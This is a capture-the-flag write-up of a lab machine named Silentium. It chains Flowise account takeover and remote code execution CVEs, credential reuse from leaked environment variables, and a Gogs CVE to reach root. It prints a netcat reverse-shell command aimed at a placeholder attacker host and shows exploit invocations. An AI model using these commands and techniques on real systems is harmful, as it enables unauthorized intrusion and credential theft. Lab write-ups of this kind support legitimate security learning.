Silentium

The assessment begins with a comprehensive service enumeration using Nmap to identify exposed services and their versions.

nmap -sC -sV 10.129.70.219

The scan reveals two accessible services:

              
Host is up (0.18s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
            

The web server redirects traffic to the virtual host silentium.htb, which was added to the local /etc/hosts file to enable proper interaction.

echo "10.129.70.219 silentium.htb" >> /etc/hosts

We enumerate virtual hosts (vhosts) to identify additional exposed services.

ffuf -w /snap/seclists/current/Discovery/DNS/combined_subdomains.txt -u http://silentium.htb -H "Host: FUZZ.silentium.htb" -fs 178

              
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://silentium.htb
 :: Wordlist         : FUZZ: subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.silentium.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 178
________________________________________________

staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70]
              

We identified the virtual host staging.silentium.htb, which hosts Flowise platform.

The server is running Flowise 3.0.5, which is vulnerable to:

• Account takeover (CVE-2025-58434)
• Remote Code Execution (CVE-2025-59528)

To exploit this vulnerability, we need to know the user's email.

From the main website, we identify valid usernames:

• Marcus Thorne
• Ben
• Elena Rossi

We use these usernames to generate some email addresses that might be correct:

• marcus.thorne@silentium.htb
• ben@silentium.htb
• elena.rossi@silentium.htb

Using forgot-password endpoint mentioned in [1] we check the validity of these emails.

Ben's email is valid and we retrieved his tempToken, which will be used later to change Ben's password (the method mentioned also in [1])

Now we change Ben's password

After taking over Ben's account, we are going to use it to exploit the vulnerability (CVE-2025-59528)

A public exploit of this vulnerability is available on Exploit Database website [2].

python exploit.py --email ben@silentium.htb --password 'NewSecurePassword123!' --url http://staging.silentium.htb --c 'busybox nc <ATTACKER_IP> <ATTACKER_PORT> -e /bin/sh'

After exploiting this, we obtained a reverse shell in a container as root

id

      uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
        

We retrieve environment variables from the container.

env

      
FLOWISE_PASSWORD=F1l3_d0ck3r
HOSTNAME=c78c3cceb7ba
SENDER_EMAIL=ben@silentium.htb
SMTP_PASSWORD=r04D!!_R4ge
        
        

We used SMTP_PASSWORD to connect to Ben's account on the machine using SSH (valid credentials ben:r04D!!_R4ge).

We discover an internal Gogs service running on port 3001 (staging-v2-code.dev.silentium.htb)

cat /etc/nginx/sites-enabled/staging-v2-code

      
server {
    listen 80;
    server_name staging-v2-code.dev.silentium.htb;

    location / {
        proxy_pass http://127.0.0.1:3001;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}
        
        

The service runs Gogs 0.13.3, which is vulnerable to a local execution of code (CVE-2025-8110)

The Gogs server is running as the root user, so by exploiting the vulnerability CVE-2025-8110 we can get a reverse shell as root.

A public available exploit is available on GitHub [3]

To use the exploit, we begin first by creating a new account and then generating an API key in the user's setting page.

python exploit2.py -u http://staging-v2-code.dev.silentium.htb -un <USERNAME> -pw <PASSWORD> -t <API_KEY> -lh <ATTACKER_IP> -lp <ATTACKER_IP>

After running the script, we obtain a reverse shell as root